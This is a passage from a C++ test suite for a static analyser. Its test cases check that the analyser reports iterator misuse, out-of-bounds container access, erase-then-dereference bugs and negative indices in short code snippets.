(void)std::find(f().begin() + 1, f().end() - 1, 0);\\n\"\n \" (void)std::find(begin(f()), end(f()));\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()), 0);\\n\"\n \" (void)std::find(begin(f()), end(f()) - 1, 0);\\n\"\n \" (void)std::find(begin(f()) + 1, end(f()) - 1, 0);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:9:30]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\", errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f().begin() == f().end()) {}\\n\"\n \" if(f().begin() == f().end()+1) {}\\n\"\n \" if(f().begin()+1 == f().end()) {}\\n\"\n \" if(f().begin()+1 == f().end()+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:32]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:34]: (error) Dereference of an invalid iterator: f().end()+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(std::begin(f()) == std::end(f())) {}\\n\"\n \" if(std::begin(f()) == std::end(f())+1) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())) {}\\n\"\n \" if(std::begin(f())+1 == std::end(f())+1) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:40]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\"\n \"[test.cpp:6:42]: (error) Dereference of an invalid iterator: std::end(f())+1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"template\\n\"\n \"std::vector& f();\\n\"\n \"void foo() {\\n\"\n \" if(f<1>().begin() == f<1>().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" if (a.begin().x == b.begin().x) {}\\n\"\n \" if (begin(a).x == begin(b).x) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::list a, std::list b) {\\n\"\n \" if (*a.begin() == *b.begin()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" if(f().begin(1) == f().end()) {}\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(const uint8_t* data, const uint32_t dataLength) {\\n\"\n \" const uint32_t minimumLength = sizeof(uint16_t) + sizeof(uint16_t);\\n\"\n \" if (dataLength >= minimumLength) {\\n\"\n \" char* payload = new char[dataLength - minimumLength];\\n\"\n \" std::copy(&data[minimumLength], &data[dataLength], payload);\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"bool f(const std::vector& a, const std::vector& b) {\\n\" // #11469\n \" return (a.begin() - a.end()) == (b.begin() - b.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #11469\n \" const std::vector* vec() const { return &v; }\\n\"\n \" const std::vector v;\\n\"\n \"};\\n\"\n \"void f(const S& a, const S& b) {\\n\"\n \" if (a.vec()->begin() - a.vec()->end() != b.vec()->begin() - b.vec()->end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void iteratorSameExpression() {\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.begin(), v.begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().begin(), g().begin(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:28]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector v) {\\n\"\n \" std::for_each(v.end(), v.end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector& g();\\n\"\n \"void f() {\\n\"\n \" std::for_each(g().end(), g().end(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:26]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"std::vector::iterator g();\\n\"\n \"void f(std::vector v) {\\n\"\n \" std::for_each(g(), g(), [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:20]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n\n check(\"void f(std::vector::iterator it) {\\n\"\n \" std::for_each(it, it, [](int){});\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:19]: (style) Same iterators expression are used for algorithm. [sameIteratorExpression]\\n\", errout_str());\n }\n\n void mismatchingContainerIterator() {\n check(\"std::vector to_vector(int value) {\\n\"\n \" std::vector a, b;\\n\"\n \" a.insert(b.end(), value);\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5]: (error) Iterator 'b.end()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n check(\"std::vector f(std::vector a, std::vector b) {\\n\"\n \" a.erase(b.begin());\\n\"\n \" return a;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:5]: (error) Iterator 'b.begin()' referring to container 'b' is used with container 'a'. [mismatchingContainerIterator]\\n\", errout_str());\n\n // #9973\n check(\"void f() {\\n\"\n \" std::list l1;\\n\"\n \" std::list l2;\\n\"\n \" std::list& l = l2;\\n\"\n \" for (auto it = l.begin(); it != l.end(); ++it) {\\n\"\n \" if (*it == 1) {\\n\"\n \" l.erase(it);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:23]: (style) Consider using std::find_if algorithm instead of a raw loop. [useStlAlgorithm]\\n\", errout_str());\n\n // #10012\n check(\"struct a {\\n\"\n \" int b;\\n\"\n \" int end() { return b; }\\n\"\n \"};\\n\"\n \"void f(a c, a d) {\\n\"\n \" if (c.end() == d.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10467\n check(\"void f(std::array, N>& A) {\\n\"\n \" for (auto& a : A) {\\n\"\n \" auto it = std::find_if(a.begin(), a.end(), \\n\"\n \" [](auto i) { return i == 0; });\\n\"\n \" if (it != a.end()) {}\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #10604\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \"};\\n\"\n \"void f(S& s, int m) {\\n\"\n \" s.v.erase(s.v.begin() + m);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11093\n check(\"struct S {\\n\"\n \" std::vector v1, v2;\\n\"\n \" void f(bool b) {\\n\"\n \" std::vector& v = b ? v1 : v2;\\n\"\n \" v.erase(v.begin());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #12377\n check(\"void f(bool b) {\\n\"\n \" std::vector *pv;\\n\"\n \" if (b) {\\n\"\n \" std::vector& r = get1();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" else {\\n\"\n \" std::vector& r = get2();\\n\"\n \" pv = &r;\\n\"\n \" }\\n\"\n \" std::vector::iterator it = pv->begin();\\n\"\n \" it = pv->erase(it, it + 2);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f() {\\n\"\n \" std::vector* p = &v;\\n\"\n \" p->insert(std::find(p->begin(), p->end(), 0), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" void f(int i) {\\n\"\n \" std::vector* p = &v;\\n\"\n \" if (p->size() > i)\\n\"\n \" p->erase(p->begin() + i, p->end());\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #11067\n check(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" std::list::const_iterator> li;\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" v.erase(*li.begin());\\n\"\n \" li.pop_front();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::set& a, std::stack::iterator>& b) {\\n\"\n \" while (!b.empty()) {\\n\"\n \" a.erase(b.top());\\n\"\n \" b.pop();\\n\"\n \" }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(std::vector& a, std::vector::iterator>& b) {\\n\"\n \" auto it = b.begin();\\n\"\n \" a.erase(*it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"namespace N {\\n\" // #12443\n \" std::vector v;\\n\"\n \"}\\n\"\n \"using namespace N;\\n\"\n \"void f() {\\n\"\n \" auto it = std::find(v.begin(), v.end(), 0);\\n\"\n \" if (it != N::v.end()) {}\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void* p) {\\n\" // #12445\n \" std::vector&v = *(std::vector*)(p);\\n\"\n \" v.erase(v.begin(), v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #13408\n check(\"void f(const std::vector& v) {\\n\"\n \" for (const auto& i : v) {\\n\"\n \" if (std::distance(&*v.cbegin(), &i)) {}\\n\"\n \" } \\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseIteratorOutOfBounds() {\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" v.erase(v.end());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.end()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.end();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:4:7]: (error) Calling function 'erase()' on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBounds]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" auto it = v.begin();\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.end() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v{ 1, 2, 3 };\\n\"\n \" v.erase(v.begin() - 1);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (error) Calling function 'erase()' on the iterator 'v.begin()-1' which is out of bounds. [eraseIteratorOutOfBounds]\\n\"\n \"[test.cpp:3:23]: (error) Dereference of an invalid iterator: v.begin()-1 [derefInvalidIterator]\\n\",\n errout_str());\n\n check(\"void f(std::vector& v, std::vector::iterator it) {\\n\"\n \" if (it == v.end()) {}\\n\"\n \" v.erase(it);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:7]: (warning) Either the condition 'it==v.end()' is redundant or function 'erase()' is called on the iterator 'it' which is out of bounds. [eraseIteratorOutOfBoundsCond]\\n\",\n errout_str());\n\n check(\"void f() {\\n\"\n \" std::vector v;\\n\"\n \" ((v).erase)(v.begin());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (error) Calling function 'erase()' on the iterator 'v.begin()' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n // Dereferencing invalid pointer\n void dereference() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" std::vector::iterator iter;\\n\"\n \" iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:5] -> [test.cpp:6] -> [test.cpp:3] -> [test.cpp:7]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:5:22] -> [test.cpp:6:10] -> [test.cpp:3:22] -> [test.cpp:7:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n // #6554 \"False positive eraseDereference - erase in while() loop\"\n check(\"typedef std::map packetMap;\\n\"\n \"packetMap waitingPackets;\\n\"\n \"void ProcessRawPacket() {\\n\"\n \" packetMap::iterator wpi;\\n\"\n \" while ((wpi = waitingPackets.find(lastInOrder + 1)) != waitingPackets.end()) {\\n\"\n \" waitingPackets.erase(wpi);\\n\"\n \" for (unsigned pos = 0; pos < buf.size(); ) { }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #8509 Uniform initialization ignored for iterator\n check(\"void f() {\\n\"\n \" std::vector ints;\\n\"\n \" std::vector::const_iterator iter {ints.cbegin()};\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_break() { // #3644\n check(\"void f(std::vector &ints) {\\n\"\n \" std::vector::iterator iter;\\n\"\n \" for (iter=ints.begin();iter!=ints.end();++iter) {\\n\"\n \" if (*iter == 2) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" if (*iter == 3) {\\n\"\n \" ints.erase(iter);\\n\"\n \" break;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void dereference_member() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::iterator iter;\\n\"\n \" iter = ints.begin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n\n // Reverse iterator\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::map ints;\\n\"\n \" std::map::reverse_iterator iter;\\n\"\n \" iter = ints.rbegin();\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << iter->first << std::endl;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:18] -> [test.cpp:6:5]: (error) Iterator 'iter' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:6:10]: (error) Calling function 'erase()' on the iterator 'iter' which is out of bounds. [eraseIteratorOutOfBounds]\\n\",\n errout_str());\n }\n\n void dereference_auto() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::vector ints{1,2,3,4,5};\\n\"\n \" auto iter = ints.begin() + 2;\\n\"\n \" ints.erase(iter);\\n\"\n \" std::cout << (*iter) << std::endl;\\n\"\n \"}\", dinit(CheckOptions, $.inconclusive = true));\n TODO_ASSERT_EQUALS(\"[test.cpp:4] -> [test.cpp:5] -> [test.cpp:3] -> [test.cpp:6]: (error) Using iterator to local container 'ints' that may be invalid.\\n\", \"[test.cpp:4:27] -> [test.cpp:5:10] -> [test.cpp:3:22] -> [test.cpp:6:20]: (error, inconclusive) Using iterator to local container 'ints' that may be invalid. [invalidContainer]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" auto x = *myList.begin();\\n\"\n \" myList.erase(x);\\n\"\n \" auto b = x.first;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"const CXXRecordDecl *CXXRecordDecl::getTemplateInstantiationPattern() const {\\n\"\n \" if (auto *TD = dyn_cast(this)) {\\n\"\n \" auto From = TD->getInstantiatedFrom();\\n\"\n \" }\\n\"\n \" return nullptr;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void STLSize() {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:6:11]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.length(); ++ii) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" do {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" ++i;\\n\"\n \" } while(ii <= foo.length());\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo(std::string& foo, unsigned int ii) {\\n\"\n \" if (anything()) {\\n\"\n \" } else if (ii <= foo.length()) {\\n\"\n \" foo[ii] = 'x';\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:11]: (error) When ii==foo.size(), foo[ii] is out of bounds. [stlOutOfBounds]\\n\", errout_str());\n\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" foo.push_back(1);\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \" int ii = 0;\\n\"\n \" foo[ii] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo() {\\n\"\n \" for (B b : D()) {}\\n\" // Don't crash on range-based for-loop\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() + 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3:11]: (error) When ii==foo.size(), foo.at(ii) is out of bounds. [stlOutOfBounds]\\n\", \"\", errout_str());\n }\n\n void STLSizeNoErr() {\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii < foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo()\\n\"\n \"{\\n\"\n \" std::vector foo;\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size(); ++ii)\\n\"\n \" {\\n\"\n \" if (ii == foo.size())\\n\"\n \" {\\n\"\n \" }\\n\"\n \" else\\n\"\n \" {\\n\"\n \" foo[ii] = 0;\\n\"\n \" }\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\n \"[test.cpp:11:16]: (error) Out of bounds access in expression 'foo[ii]' because 'foo' is empty. [containerOutOfBounds]\\n\",\n errout_str());\n }\n\n {\n check(\"void f(const std::map &data) {\\n\"\n \" int i = x;\"\n \" for (int i = 5; i <= data.size(); i++)\\n\"\n \" data[i] = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n {\n check(\"void foo(std::vector foo) {\\n\"\n \" for (unsigned int ii = 0; ii <= foo.size() - 1; ++ii) {\\n\"\n \" foo.at(ii) = 0;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n }\n\n void negativeIndex() {\n check(\"void f(const std::vector &v) {\\n\"\n \" v[-11] = 123;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:3]: (error) Array index -11 is out of bounds. [negativeContainerIndex]\\n\", errout_str());\n\n check(\"int f(int x, const std::vector& a) {\\n\"\n \" if (!(x < 5))\\n\"\n \" return a[x - 5];\\n\"\n \" else\\n\"\n \" return a[4 - x];\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"std::array values;\\n\"\n \"int get_value();\\n\"\n \"int compute() {\\n\"\n \" int i = get_value();\\n\"\n \" if( i < 0 || i > 5)\\n\"\n \" return -1;\\n\"\n \" int sum = 0;\\n\"\n \" for( int j = i+1; j < 7; ++j)\\n\"\n \" sum += values[j-1];\\n\"\n \" return sum;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct B { virtual int g() { return 0; } };\\n\" // #11831\n \"struct C {\\n\"\n \" int h() const { return b->g(); }\\n\"\n \" B* b;\\n\"\n \"};\\n\"\n \"struct O {\\n\"\n \" int f() const;\\n\"\n \" std::vector v;\\n\"\n \" C c;\\n\"\n \"};\\n\"\n \"int O::f() const { return v[c.h() - 1]; }\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(const std::vector& v) {\\n\" // #13196\n \" if (v.empty())\\n\"\n \" return;\\n\"\n \" int idx = -1;\\n\"\n \" for (int i = 0; i < v.size(); ++i) {\\n\"\n \" idx = i;\\n\"\n \" }\\n\"\n \" (void)v[idx];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n const auto oldSettings = settings; // TODO: get rid of this\n settings.daca = true;\n\n check(\"void f() {\\n\"\n \" const char a[][5] = { \\\"1\\\", \\\"true\\\", \\\"on\\\", \\\"yes\\\" };\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n settings = oldSettings;\n }\n\n void negativeIndexMultiline() {\n setMultiline();\n const auto oldSettings = settings; // TODO: get rid of this\n settings.verbose = true;\n\n check(\"bool valid(int);\\n\" // #11697\n \"void f(int i, const std::vector& v) {\\n\"\n \" if (!valid(i))\\n\"\n \" return;\\n\"\n \" if (v[i]) {}\\n\"\n \"}\\n\"\n \"void g(const std::vector& w) {\\n\"\n \" f(-1, w);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:5:9]: warning: Array index -1 is out of bounds. [negativeContainerIndex]\\n\"\n \"[test.cpp:8:8]: note: Calling function 'f', 1st argument '-1' value is -1\\n\"\n \"[test.cpp:3:9]: note: Assuming condition is false\\n\"\n \"[test.cpp:5:9]: note: Negative array index\\n\",\n errout_str());\n\n settings = oldSettings;\n }\n\n void erase1() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it) {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\"\n \"[test.cpp:7:5] -> [test.cpp:8:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f(std::list &ints)\\n\"\n \"{\\n\"\n \" std::list::iterator i = ints.begin();\\n\"\n \" i = ints.erase(i);\\n\"\n \" *i = 0;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator i;\\n\"\n \" while (i != x.y.end())\\n\"\n \" i = x.y.erase(i);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #2101\n check(\"void f(vector< std::list > &ints, unsigned int i)\\n\"\n \"{\\n\"\n \" std::list::iterator it;\\n\"\n \" for(it = ints[i].begin(); it != ints[i].end(); it++) {\\n\"\n \" if (*it % 2)\\n\"\n \" it = ints[i].erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase2() {\n check(\"static void f()\\n\"\n \"{\\n\"\n \" for (iterator it = foo.begin(); it != foo.end(); it = next)\\n\"\n \" {\\n\"\n \" next = it;\\n\"\n \" next++;\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase3() {\n check(\"static void f(std::list &foo)\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" foo.erase(it->a);\\n\"\n \" if (it->b);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void erase4() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it, it2;\\n\"\n \" for (it = foo.begin(); it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" for (; it != i2; ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list::iterator it = foo.begin();\\n\"\n \" while (it != i2)\\n\"\n \" {\\n\"\n \" foo.erase(++it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:5] -> [test.cpp:6:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase5() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" std::list foo;\\n\"\n \" std::list::iterator it;\\n\"\n \" for (it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (*it == 123)\\n\"\n \" foo.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:5] -> [test.cpp:8:22]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n }\n\n void erase6() {\n check(\"void f() {\\n\"\n \" std::vector vec(3);\\n\"\n \" std::vector::iterator it;\\n\"\n \" std::vector::iterator itEnd = vec.end();\\n\"\n \" for (it = vec.begin(); it != itEnd; it = vec.begin(), itEnd = vec.end())\\n\"\n \" {\\n\"\n \" vec.erase(it);\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void eraseBreak() {\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" foo.erase(it);\\n\"\n \" if (x)\"\n \" break;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:5] -> [test.cpp:5:18]: (error) Iterator 'it' used after element has been erased. [eraseDereference]\\n\", errout_str());\n\n check(\"void f()\\n\"\n \"{\\n\"\n \" for (std::vector::iterator it = foo.begin(); it != foo.end(); ++it)\\n\"\n \" {\\n\"\n \" if (x) 